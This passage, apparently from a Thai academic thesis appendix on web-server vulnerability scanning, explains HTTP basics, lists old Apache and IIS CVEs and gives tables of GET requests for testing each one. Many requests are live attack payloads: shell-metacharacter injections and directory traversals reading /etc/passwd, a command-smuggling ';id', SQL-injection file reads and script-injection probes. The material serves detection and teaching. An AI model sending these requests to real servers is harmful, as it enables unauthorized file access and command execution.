เซิรฟเวอรสนับสนุน) 

การตอบสนองขอมูลเอชทีทีพี (HTTP Response) คือ การที่เว็บเซิรฟเวอร

ตอบสนองสิ่งที่เว็บบราวเซอรรองขอมาโดยการสงขอความกลับไปยังเว็บบราวเซอรซึ่งขอความที่

ตอบสนองประกอบดวยฟลดประเภทตางๆ ดังนี้ 
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• โคดตอบสนอง (Response Code) คือตัวเลขที่แสดงถึงพฤติกรรมการ

ตอบสนองกลับของเว็บเซิรฟเวอร 

• ฟลดเฮดเดอร (Header Fields) คือขอมูลเพิ่มเติมเกี่ยวกับการตอบสนอง 

• ขอมูล คือ เนื้อหาภายในของขอความที่สงกลับมา 

ตัวอยางการรองขอขอมูล HEAD / HTTP 1.0

เคร่ืองไคลเอนตรองขอขอมูลไปยังเครื่องแมขายท่ีให
บริการเว็บเซิรฟเวอร ด วยการรองขอแบบ HTTP

เครื่องแมขายตอบสนองการรองขอขอมูลดังน้ี
HTTP /1.1 200 OK
Server: Microsoft-IIS/5.0
Content -Location : http ://192.168.0.1/Default .htm
Date : Mon, 15 Apr 2002 05 :56:57 GMT
Content -Type : text/html
Accept-Ranges: bytes
Last-Modified : Sat,06 Apr 2002 06 :48:34 GTM
Etag: "a017751137 ddc 11:81a"
Content -Lenght : 5

 
รูปที่ ข.1 การทํางานของโปรโตคอลเอชทีทีพ ี

 

รูปแบบการตอบสนองขอมูลดังตัวอยางตอไปนี้เปนการตอบสนองดวยโคดการ

ตอบสนอง 200 ซึ่งหมายถึงเว็บเซิรฟเวอรสามารถตอบสนองตามการรองขอไดสําเร็จ และไดทํา

การปดการเชื่อมตอการสงขอมูลแลว โดยเว็บเซิรฟเวอรที่ใหบริการเปนอาปาเชเว็บเซิรฟเวอร 

เวอรชัน 1.3.0 ทํางานบนระบบปฏิบัติการยูนิกซ และทรัพยากรที่ทําการรองขอไดรับการแกไขคร้ัง

สุดทายเมื่อวันจันทรที่ 22 เดือนมิถุนายน ป ค.ศ.1998 เวลามาตรฐาน 9 นาฬิกา 23 นาที 24 

วินาที มีความยาวของขอความ 6821 ไบต ทรัพยากรที่สงมามีประเภทเปนขอความตัวอักษร     

เปนตน 

 HTTP/1.1 200 OK -- เวอรชันที่ตอบสนองขอมูลและโคดการตอบสนอง 

 Connection: close -- เว็บเซิรฟเวอรไดทาํการปดการเชื่อมตอแลว 

 Date: Thu, 06 Aug 1998 12:00:15 GMT -- เวลาทีท่ําการตอบสนอง 

 Server: Apache/1.3.0 (Unix) -- เวอรชันของเว็บเซิรฟเวอร 

 Last-Modified: Mon, 22 Jun 1998 09:23:24 GMT -- วันเวลาที่ทรัพยากร

ดังกลาวถูกแกไขลาสุด 
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 Content-Length: 6821-- ขนาดของทรัพยากรที่รองขอ (หนวยเปนไบต) 

 Content-Type: text/html -- รูปแบบของทรัพยากรที่รองขอ 

 (data data data data data ……….) -- ขอมูลที่ตอบสนองกลบัมา 

 

ตารางที่ ข.1 เมธอดและความหมายของคําสั่งการรองขอเอชทีทพี ี

เมธอด ความหมาย 
CONNECT ใชรวมกับเอชทีทีพีพรอกซี่ (HTTP Proxy) ที่มีความสามารถในการเปลี่ยนโหมด

เขาสูทันเนลโหมด (Tunnel Mode) อยางอัตโนมัติ 

DELETE รองขอใหเซิรฟเวอรลบทรัพยากรที่ระบุออกไป  

GET ดึงเอาขอมูลที่ตองการจากเซิรฟเวอร ซึ่งถาแฟมขอมูลที่ตองการเปนเอกสาร 

เอชทีเอ็มแอลแบบสแตติก (Static) เนื้อหาภายในแฟมขอมูลก็จะถูกแสดงที่เว็บ

บราวเซอรแตหากแฟมขอมูลนั้นเปนแบบไดนามิก (Dynamic) เว็บเซิรฟเวอรก็จะ

ทําการประมวลผลแฟมขอมูลนั้นกอน และสงคาเอาตพุตเหลานั้นไปใหเว็บ

บราวเซอรแสดงผล 

HEAD การทํางานคลายกับเมธอด GET แตจะตางกันตรงที่จะตอบสนองขอมูลดิบที่

แสดงสถานะของเว็บเซิรฟเวอร 

OPTIONS รองขอขอมูลบริการที่เซิรฟเวอรอนุญาตใหรองขอขอมูลใชได 

POST รองขอใหเซิรฟเวอรรับขอมูลที่สงเขาไปใหประมวลผล 

PUT รองขอใหขอมูลที่อยูในขอความถูกนําไปเก็บไวในเซิรฟเวอร 

TRACE สงการรองขอเพื่อใหมีการสงขอความกลับมาในลักษณะของการวนกลับ 

(Loopback) 

Cache-Control ระบุไดเรกทีฟ (Directive) เพื่อควบคุมกลไกการเก็บแคชที่ฝงเว็บบราวเซอร 

Connection อนุญาตใหผูสงระบุออปชันเพิ่มเติมสําหรับคอนเน็กชันนั้นๆ 

Etag ใหคาปจจุบันของเอ็นทิตี้แทค (Entity Tag) 

Trailer ใหลิสตของเฮดเดอรที่ตอนทายของขอความ 

Tranfer-Encoding แสดงการเปลี่ยนแปลงที่เกิดขึ้นกับเนื้อหาของขอความที่รับสง 

Upgrade อนุญาตใหไคลเอนต (Client) ระบุวามีเฮดเดอรอื่นเพิ่มเติมอีกหรือไม 

Via ถูกใชโดยเกตเวย (Gateway) ระหวางทางและพรอกซี่เพื่อกําหนดวาใครและ

โปรโตคอลใดจะถูกใชสําหรับการสงผานขอความในแตละฮอพ (Hop) 

Warning ใชเพื่อใหขอมูลเพิ่มเติมเกี่ยวกับสถานะของขอความ 
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ตารางที่ ข.2 ตัวอยางโคดตอบสนองพื้นฐานและความหมาย 

โคดตอบสนอง ความหมาย 
200 OK เซิรฟเวอรสามารถตอบสนองตามการรองขอไดสําเร็จ 

301 Moved 

Permanently 

เซิรฟเวอรแจงวาแฟมขอมูลหรือหนาเพจที่ตองการไดถูกยายตําแหนงไปแลวอยาง

ถาวรพรอมทั้งสง URL ใหมมาให 

302 Moved 

Temporarily 

เซิรฟเวอรแจงวาแฟมขอมูลหรือหนาเพจที่ตองการไดถูกยายตําแหนงไปชั่วคราว

พรอมทั้งสง URL ใหมมาให 

400 Bad Request เซิรฟเวอรไมเขาใจการรองขอนั้นๆ 

401 Unauthorized เซิรฟเวอรแจงวาการเขาถึงแฟมขอมูลหรือเพจนั้นๆ ตองไดรับการตรวจสอบตัวตน

ของผูใชงานกอน 

403 Forbidden เซิรฟเวอรปฏิเสธการรองขอนั้น 

404 Not Found เซิรฟเวอรแจงวาแฟมขอมูลหรือหนาเพจที่รองขอนั้นไมมีอยูบนเซิรฟเวอร 

500 Internal Server 

Error 

มีความผิดพลาดเกิดขึ้นในระหวางการประมวลผล 

501 Not Implemented เซิรฟเวอรไมรองรับการรองขอนั้น 

503 Service 

Unavailable 

เซิรฟเวอรไมสามารถตอบสนองการรองขอไดเนื่องจากรับภาระงานอยูในปริมาณ

มาก 

ตารางที่ ข.3 ตัวอยางฟลดเฮดเดอรและความหมาย 

ฟลดเฮดเดอร ความหมาย 
Allow รายการเมธอดที่เซิรฟเวอรอนุญาตใหเรียกใชงาน 

Authorization แสดงขอมูลที่เกี่ยวกับการตรวจสอบผูใชกอนเขาใชงานระบบ 

Content-Encoding แสดงการเขารหัสของเนื้อหา 

Content-Length แสดงขนาดของเนื้อหาดวยหนวยไบต 

Content-Type แสดงประเภทของเนื้อหา 

Expries วันที่และเวลาที่เนื้อหานั้นถูกพิจารณาวาหมดอายุ 

From อีเมลที่ใชสําหรับการแยกแยะวาขอความนั้นสงมาจากที่ใด 

Last-Modified วันที่และเวลาที่เซิรฟเวอรเชื่อวาแฟมขอมูลถูกแกไขครั้งลาสุด 

Location ตําแหนงของแฟมขอมูลหรือหนาเพจที่รองขอมา 

Pragma อธิบายพฤติกรรมเพิ่มเติมของการรองขอ เชน no-cache หมายถึงบราวเซอรจะ 

ตองโหลดแฟมขอมูลใหมจากเซิรฟเวอรทุกครั้ง 

Server แสดงชนิดและรุนของเว็บเซิรฟเวอร 

User-Agent แสดงขอมูลเกี่ยวกับบราวเซอรที่ ผูใชใชในการรองขอขอมูล เชน Mozilla/5.0 

(WinNT) 

WWW-Authenticate เก็บคาในการตรวจสอบตัวตนเพื่อเขาถึงระบบ 



 

 ภาคผนวก ค 
 

จุดบกพรองซีวีอีที่เกี่ยวของกับอาปาเชและไอไอเอสเว็บเซิรฟเวอร 
 

ตารางที่ ค.1 จุดบกพรองซวีีอีที่เกีย่วของกับอาปาเชเวบ็เซิรฟเวอร 

หมายเลข รายละเอียดจุดบกพรอง 

ซีวีอี  1999 – 0021 Arbitrary command execution via buffer overflows in Count.cgi 

(wwwcount) cgi-bin program. 

ซีวีอี  1999 – 0066 AnyForm CGI remote execution. 

ซีวีอี  1999 – 0067 CGI phf program allows remote command execution through shell 

metacharacters. 

ซีวีอี  1999 – 0070 Test-cgi program allows an attacker to list files on the server. 

ซีวีอี  1999 – 0146 The campas CGI program provided with some NCSA web servers 

allows an attacker to read arbitrary files. 

ซีวีอี  1999 – 0172 FormMail CGI program allows remote execution of commands. 

ซีวีอี  1999 – 0174 The view-source CGI program allows remote attackers to read 

arbitrary files via a .. (dot dot) attack. 

ซีวีอี  1999 – 0237 Remote execution of arbitrary commands through Guestbook CGI 

program. 

ซีวีอี  1999 – 0260 The jj CGI program allows command execution via shell 

metacharacters. 

ซีวีอี  1999 – 0262 Faxsurvey CGI script on Linux allows remote command execution 

via shell metacharacters. 

ซีวีอี  1999 – 0264 Htmlscript CGI program allows remote read access to files. 

ซีวีอี  1999 – 0266 The info2www CGI script allows remote file access or remote 

command execution. 

ซีวีอี  2000 – 0010 WebWho+ whois.cgi program allows remote attackers to execute 

commands via shell metacharacters in the TLD parameter. 
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ตารางที่ ค.1 จุดบกพรองซวีีอีที่เกีย่วของกับอาปาเชเวบ็เซิรฟเวอร (ตอ) 

หมายเลข รายละเอียดจุดบกพรอง 

ซีวีอี  2000 – 0208 The htdig (ht://Dig) CGI program htsearch allows remote attackers 

to read arbitrary files by enclosing the file name with backticks (`) 

in parameters to htsearch. 

ซีวีอี  2000 – 0287 The BizDB CGI script bizdb-search.cgi allows remote attackers to 

execute arbitrary commands via shell metacharacters in the 

dbname parameter. 

ซีวีอี  2000 – 0941 Kootenay Web KW Whois 1.0 CGI program allows remote 

attackers to execute arbitrary commands via shell metacharacters 

in the "whois" parameter. 

ซีวีอี 2002 – 0061 Apache for Win32 before 1.3.24, and 2.0.x before 2.0.34-beta, 

allows remote attackers to execute arbitrary commands via shell 

metacharacters provided as arguments to batch (.bat) or .cmd 

scripts, which are sent unfiltered to the shell interpreter 

ซีวีอี 2002 – 0082 The dbm and shm session cache code in mod_ssl before 2.8.7-

1.3.23, and Apache-SSL before 1.3.22+1.46, does not properly 

initialize memory using the i2d_SSL_SESSION function  

ซีวีอี  2002 – 0392 Apache 1.3 through 1.3.24, and Apache 2.0 through 2.0.36, allows 

remote attackers to cause a denial of service and possibly 

execute arbitrary code via a chunk-encoded HTTP request that 

causes Apache to use an incorrect size. 

ซีวีอี  2002 – 0513 The PHP administration script in popper_mod 1.2.1 and earlier 

relies on Apache .htaccess authentication, which allows remote 

attackers to gain privileges if the script is not appropriately 

configured by the administrator. 
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ตารางที่ ค.2 จุดบกพรองซวีีอีที่เกีย่วของกับไอไอเอสเว็บเซิรฟเวอร 

หมายเลข รายละเอียดจุดบกพรอง 

ซีวีอี 1999 – 0191 IIS newdsn.exe CGI script allows remote users to overwrite files. 

ซีวีอี 1999 – 0264 Htmlscript CGI program allows remote read access to files. 

ซีวีอี 1999 – 0237 Remote execution of arbitrary commands through Guestbook CGI 

program. 

ซีวีอี 1999 – 0278 In IIS, remote attackers can obtain source code for ASP files by 

appending "::$DATA" to the URL. 

ซีวีอี 1999 – 0874 Buffer overflow in IIS 4.0 allows remote attackers to cause a denial 

of service via a malformed request for files with .HTR, .IDC, or 

.STM extensions. 

ซีวีอี 2000 – 0226 IIS 4.0 allows attackers to cause a denial of service by requesting 

a large buffer in a POST or PUT command which consumes 

memory, aka the "Chunked Transfer Encoding Buffer Overflow 

Vulnerability." 

ซีวีอี 2000 – 0884 IIS 4.0 and 5.0 allows remote attackers to read documents outside 

of the web root, and possibly execute arbitrary commands, via 

malformed URLs that contain UNICODE encoded characters, aka 

the "Web Server Folder Traversal" vulnerability. 

ซีวีอี 2000 – 0770 IIS 4.0 and 5.0 does not properly restrict access to certain types of 

files when their parent folders have less restrictive permissions, 

which could allow remote attackers to bypass access restrictions 

to some files. 

ซีวีอี 2000 – 0778 IIS 5.0 allows remote attackers to obtain source code for .ASP files 

and other scripts via an HTTP GET request with a "Translate: f" 

header, aka the "Specialized Header" vulnerability. 

ซีวีอี 2000 – 0886 IIS 5.0 allows remote attackers to execute arbitrary commands via 

a malformed request for an executable file whose name is 

appended with operating system commands, aka the "Web Server 

File Request Parsing" vulnerability. 
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ตารางที่ ค.2 จุดบกพรองซวีีอีที่เกีย่วของกับไอไอเอสเว็บเซิรฟเวอร (ตอ) 

หมายเลข รายละเอียดจุดบกพรอง 

ซีวีอี 2001 – 0151 IIS 5.0 allows remote attackers to cause a denial of service via a 

series of malformed WebDAV requests. 

ซีวีอี 2001 – 0241 Buffer overflow in Internet Printing ISAPI extension in Windows 

2000 allows remote attackers to gain root privileges via a long 

print request that is passed to the extension through IIS 5.0. 

ซีวีอี 2001 – 0333 Directory traversal vulnerability in IIS 5.0 and earlier allows remote 

attackers to execute arbitrary commands by encoding .. (dot dot) 

and "\" characters twice. 

ซีวีอี 2001 – 0500 Buffer overflow in ISAPI extension (idq.dll) in Index Server 2.0 and 

Indexing Service 2000 in IIS 6.0 beta and earlier allows remote 

attackers to execute arbitrary commands via a long argument to 

Internet Data Administration (.ida) and Internet Data Query (.idq) 

files such as default.ida, as commonly exploited by Code Red. 

ซีวีอี 2001 – 0507 IIS 5.0 uses relative paths to find system files that will run in-

process, which allows local users to gain privileges via a Trojan 

horse file, aka the "System file listing privilege elevation" 

vulnerability. 



 

ภาคผนวก ง 
 

ตัวอยางรายการรองขอขอมูลเอชทีทีพีเพื่อใชในการตรวจสอบจุดบกพรอง 
 

ตารางที่ ง.1 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0021  
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0021 Arbitrary command execution via buffer overflows in Count.cgi 

(wwwcount) cgi-bin program. 

รายการรองขอขอมูล 

GET /Count.cgi 

GET /cgis/Count.cgi 

GET /cgis/count.cgi 

GET /cgi-bin/Count.cgi 

GET /cgi-bin/count.cgi 

GET /cgi-local/Count.cgi 

GET /cgi-local/count.cgi 

GET /cgi/Count.cgi 

GET /cgi/count.cgi 

GET /cgis/Count.cgi 

GET /cgis/count.cgi 

GET /bin/Count.cgi 

GET /bin/count.cgi 

 

ตารางที่ ง.2 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0066 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0066 AnyForm CGI remote execution. 

รายการรองขอขอมูล 

GET /AnyForm 

GET /AnyForm2 

GET /cgis/AnyForm 

GET /cgis/AnyForm2 

GET /cgi-bin/AnForm2 

GET /cgi-bin/AnyForm 
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ตารางที่ ง.2 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0066 (ตอ) 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0066 AnyForm CGI remote execution. 

รายการรองขอขอมูล 

GET /cgi-bin/AnyForm2 

GET /cgi-bin/anyform/default.htm 

GET /cgi-bin/anyform2/default.htm 

GET /cgi-local/AnyForm 

GET /cgi-local/AnyForm2 

GET /cgi/AnyForm 

GET /cgi/AnyForm2 

GET /bin/AnyForm 

GET /bin/AnyForm2 

 

ตารางที่ ง.3 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0067 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0067 CGI phf program allows remote command execution through shell 

metacharacters. 

รายการรองขอขอมูล 

GET /cgi-bin/phf 

GET /cgi-bin/phf.cgi 

GET /cgi-bin/phf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd 

GET /cgi-bin/phf?QALIAS=x%0a/bin/cat%20/etc/group 

GET /cgi-bin/phf?Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone= 

GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd 

GET /cgi-bin/phf?Qalias=x%0a/bin/ls%20/ 

GET /cgi-bin/phf?Qname=me%0als%20-lFa 

GET /cgi-bin/phf?Qname=root%0A/bin/cat%20/etc/passwd 

GET /cgi-local/phf 

GET /cgi-local/phf.cgi 

GET /cgi-local/phf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd 

GET /cgi/phf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd 

GET /cgis/phf.cgi 
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ตารางที่ ง.3 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0067 (ตอ) 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0067 CGI phf program allows remote command execution through shell 

metacharacters. 

รายการรองขอขอมูล 

GET /cgis/phf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd 

GET /bin/phf.cgi 

GET /bin/phf.cgi?QALIAS=x%0a/bin/cat%20/etc/passwd 

 

ตารางที่ ง.4 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0070 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0070 Test-cgi program allows an attacker to list files on the server. 

รายการรองขอขอมูล 

GET /test-cgi 

GET /cgi-bin/test-cgi 

GET /cgi-bin/test-cgi.tcl 

GET /cgi-bin/test-cgi/*?* 

GET /cgi-bin/test-cgi/default.htm 

GET /cgi-bin/test-cgi?* 

GET /cgi-bin/test-cgi?/* 

GET /cgi-bin/test.cgi 

GET /cgi-bin/test.cgi?/etc/passwd/* 

GET /cgi-bin/test/test.cgi 

GET /cgi-bin/testcgi 

GET /cgi-bin/testcgi.exe 

GET /cgi-local/test-cgi 

GET /cgi-local/test-cgi.tcl 

GET /cgi-local/test-cgi?/* 

GET /cgi/test-cgi 

GET /cgis/test-cgi?/* 

GET /bin/test-cgi 

GET /bin/test-cgi.tcl 
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ตารางที่ ง.5 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0146 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0146 The campas CGI program provided with some NCSA web servers allows 

an attacker to read arbitrary files. 

รายการรองขอขอมูล 

GET /campas 

GET /cgi-bin/campas 

GET /cgi-bin/campas?%0acat%0a/etc/group%0a 

GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a 

GET /cgi-bin/campas?%0als%20-lFa%20/etc 

GET /cgi-local/campas 

GET /cgi/campas 

GET /cgis/campas 

GET /bin/campas 

ตารางที่ ง.6 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0172 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0172 FormMail CGI program allows remote execution of commands. 

รายการรองขอขอมูล 
GET /formmail.cgi 

GET /cgi-bin/FormMail.pl 

GET /cgi-bin/formmail 

GET /cgi-bin/formmail.cgi?env_report=/etc/passwd&recipient=email@host.com&required=&firstname=&l 

GET /cgi-bin/formmail.cgi?env_report=/etc/passwd&recipient=test@test.net&required=&firstname=&la 

GET /cgi-bin/formmail.cgi?recipient=root@localhost%0Acat%20/etc/passwd&email=nessus@localhost&su 

GET /cgi-bin/formmail.pl?recipient=root@localhost%0Acat%20/etc/passwd&email=nessus@localhost&sub 

GET /cgi-bin/formmail?recipient=root@localhost%0Acat%20/etc/passwd&email=nessus@localhost&subjec 

GET /cgi-local/formmail 

GET /cgi-local/formmail.cgi 

GET /cgi-local/formmail.cgi?recipient=root@localhost%0Acat%20/etc/passwd&email=nessus@localhost& 

GET /cgi-local/formmail.pl 

GET /cgi-local/formmail.pl?recipient=root@localhost%0Acat%20/etc/passwd&email=nessus@localhost&s 

GET /cgi-local/formmail?recipient=root@localhost%0Acat%20/etc/passwd&email=nessus@localhost&subj 

GET /cgi/formmail 

GET /cgi/formmail.cgi 

GET /cgi/formmail?recipient=root@localhost%0Acat%20/etc/passwd&email=nessus@localhost&subject=te 

GET /bin/formmail.cgi 

GET /bin/formmail.cgi?recipient=root@localhost%0Acat%20/etc/passwd&email=nessus@localhost&subjec 
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ตารางที่ ง.7 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0174 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0174 The view-source CGI program allows remote attackers to read arbitrary 

files via a .. (dot dot) attack. 

รายการรองขอขอมูล 

GET /cgi/view-source 

GET /view-source 

GET /view-source?../../../../../../../etc/motd 

GET /cgi-bin/view-source 

GET /cgi-bin/viewsource?/etc/passwd 

GET /cgi-local/view-source 

GET /cgi-local/viewsource?/etc/passwd 

GET /cgis/view-source 

GET /bin/view-source 

 

ตารางที่ ง.8 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0191 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0191 IIS newdsn.exe CGI script allows remote users to overwrite files. 

รายการรองขอขอมูล 
GET /scrips/tools/newdsn.exe 

GET /script/tools/newdsn.exe 

GET /tools/newdsn.exe 

GET /tools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb%29&dsn=goatfart+samples+from       
 

ตารางที่ ง.9 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0237 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0237 Remote execution of arbitrary commands through Guestbook CGI 

program. 

รายการรองขอขอมูล 

GET /guestbook/dcguest.cgi 

GET /cgi-bin/csGuestbook.cgi 

GET /cgi-bin/csGuestbook.cgi?command=savesetup&setup=PERL_CODE_HERE 

GET /cgi-bin/guestbookcgi 

GET /cgi-local/guestbook.cgi 
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ตารางที่ ง.9 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0237 (ตอ) 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0237 Remote execution of arbitrary commands through Guestbook CGI 

program. 

รายการรองขอขอมูล 

GET /cgi-local/guestbook.pl 

GET /cgi/guestbook-cgi 

GET /cgi/guestbook.cgi 

GET /cgi/guestbook.pl 

GET /cgi/guestbookcgi 

GET /cgis/guestbook.cgi 

GET /cgis/guestbook.pl 

GET /bin/guestbook.cgi 

GET /bin/guestbook.pl 

GET /guestbook 

GET /cgi-bin/guestbook.asp 

GET /cgi-bin/guestbook.dll 

GET /cgi-bin/guestbook.doc 

GET /cgi-bin/guestbook.exe 

GET /cgi-bin/guestbook.htm 

GET /cgi-bin/guestbook.html 

GET /doc/guestbook.asa 

GET /doc/guestbook.tmp 

GET /doc/guestbook.txt 

GET /doc/guestbook.vbs 

GET /~root/guestbook.jsp 

GET /guestbook.zip 
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ตารางที่ ง.10 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0260 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0260 The jj CGI program allows command execution via shell metacharacters. 

รายการรองขอขอมูล 

GET /jj 

GET /cgi-bin/jj 

GET /cgi-bin/jj.cgi 

GET /cgi-local/jj  

GET /cgi/jj 

GET /cgis/jj 

GET /bin/jj 

 

ตารางที่ ง.11 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0262 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0262 Faxsurvey CGI script on Linux allows remote command execution via 

shell metacharacters. 

รายการรองขอขอมูล 

GET /bb-dnbd/faxsurvey 

GET /faxsurvey 

GET /cgi-bin/faxsurvey 

GET /cgi-bin/faxsurvey?/bin/cat%20/etc/group 

GET /cgi-bin/faxsurvey?/bin/cat%20/etc/passwd 

GET /cgi-bin/faxsurvey?cat#20/etc/passwd 

GET /cgi-bin/faxsurvey?ls%20-lFa 

GET /cgi-local/faxsurvey 

GET /cgi-local/faxsurvey?cat#20/etc/passwd 

GET /cgi/faxsurvey 

GET /cgi/faxsurvey?cat#20/etc/passwd 

GET /cgis/faxsurvey 
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ตารางที่ ง.12 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0264 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0264 Htmlscript CGI program allows remote read access to files. 

รายการรองขอขอมูล 

GET /cgis/faxsurvey?cat#20/etc/passwd 

GET /bin/faxsurvey 

GET /bin/faxsurvey?cat#20/etc/passwd 

GET /htmlscript 

GET /cgi-bin/htmlscript 

GET /cgi-bin/htmlscript?../../../../../../../../../../etc/passwd 

GET /cgi-bin/htmlscript?../../../../../../../../etc/passwd 

GET /cgi-bin/htmlscript?../../../../../../etc/group 

GET /cgi-bin/htmlscript?../../../../etc/passwd 

GET /cgi-local/htmlscript 

GET /cgi-local/htmlscript?../../../../../../../../../../etc/passwd 

GET /cgi/htmlscript 

GET /cgi/htmlscript?../../../../../../../../../../etc/passwd 

GET /cgis/htmlscript 

GET /cgis/htmlscript?../../../../../../../../../../etc/passwd 

GET /bin/htmlscript 

GET /bin/htmlscript?../../../../../../../../../../etc/passwd 

 

ตารางที่ ง.13 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0266 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0266 The info2www CGI script allows remote file access or remote command 

execution. 

รายการรองขอขอมูล 

GET /cgi-bin/info2www 

GET /cgi-bin/info2www?`(../../../../../../../../ls%20-lFa%20/etc|)` 

GET /cgi-local/info2www 

GET /cgi/info2www 

GET /cgis/info2www 

GET /bin/info2www 
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ตารางที่ ง.14 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0278 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0278 In IIS, remote attackers can obtain source code for ASP files by 

appending "::$DATA" to the URL 

รายการรองขอขอมูล 
GET /global.asa::$DATA 

GET /index.jsp::$DATA 

GET /*.jsp::$DATA/ 

GET /'%20UNION%20ALL%20SELECT%20FileToClob('/etc/passwd','server')::html,0%20FROM%20sysusers%20W 
 

ตารางที่ ง.15 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 1999 – 0874 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  1999 – 0874 Buffer overflow in IIS 4.0 allows remote attackers to cause a denial of 

service via a malformed request for files with .HTR, .IDC, or .STM 

extensions. 

รายการรองขอขอมูล 

GET /<script>alert('Vulnerable')</script>.stm 

GET /ASPSamp/AdvWorks/equipment/achg.htr 

GET /adminlogin?RCpage:=/sysadmin/index.stm 

GET /adminlogin?RCpage=/sysadmin/index.stm 

GET /asp/something.stm 

GET /blabla.idc 

GET /bogus.stm 

GET /global.asa%3F+.htr 

GET /global.asa+.htr 

GET /invalidfilename.idc 

GET /session/adminlogin?RCpage/sysadmin/index.stm 

GET /session/adminlogin?RCpage=/sysadmin/index.stm 

GET /something.stm 

GET /test.idc 

GET /whatever.htr 

GET /cgi-bin/session/adminlogin?RCpage=/sysadmin/index.stm 

GET /cgi-local/session/adminlogin?RCpage=/sysadmin/index.stm 

GET /cgis/session/adminlogin?RCpage=/sysadmin/index.stm 

GET /*.idc 
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ตารางที่ ง.16 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 2000 – 0010 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  2000 – 0010 WebWho+ whois.cgi program allows remote attackers to execute 

commands via shell metacharacters in the TLD parameter. 

รายการรองขอขอมูล 

GET /cgi/webwho.pl 

GET /cgi/whois.cgi 

GET /cgi/whois.cgi?action=load&whois=%3Bid 

GET /cgi/whois.pl 

GET /cgi/whois_raw.cgi 

GET /cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd 

GET /cgi-local/webwho.pl 

GET /cgi-local/whois.cgi 

GET /cgi-local/whois.cgi?action=load&whois=%3Bid 

GET /cgi-local/whois_raw.cgi 

GET /cgi-local/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd 

GET /cgi/scripts/whois.cgi 

GET /cgi/scripts/whois.cgi?action=load&whois=check 

GET /cgis/whois.cgi?action=load&whois=%3Bid 

GET /cgis/whois_raw.cgi 

GET /cgis/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd 

GET /bin/scripts/whois.cgi 

GET /bin/scripts/whois.cgi?action=load&whois=check 

GET /bin/webwho.pl 

GET /bin/whois.cgi?action=load&whois=%3Bid 

GET /bin/whois_raw.cgi 

GET /bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd 
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ตารางที่ ง.17 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 2000 – 0208 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  2000 – 0208 The htdig (ht://Dig) CGI program htsearch allows remote attackers to 

read arbitrary files by enclosing the file name with backticks (`) in 

parameters to htsearch. 

รายการรองขอขอมูล 
GET /cgis/dig.cgi 

GET /cgi-bin/dig.cgi 

GET /cgi-bin/htsearch?config=htdig;words=%22%3E%3Cscript%3Ealert%28document.cookie%29%3B%3C%2Fsc 

GET /cgi/dig.cgi 

GET /cgis/dig.cgi 

GET /bin/dig.cgi 
 

ตารางที่ ง.18 รายการรองขอขอมูลที่ใชตรวจสอบจุดบกพรองซีวีอี 2000 – 0226 
หมายเลขซีวีอี  คําอธิบาย 

ซีวีอี  2000 – 0226 IIS 4.0 allows attackers to cause a denial of service by requesting a large 

buffer in a POST or PUT command which consumes memory, aka the 

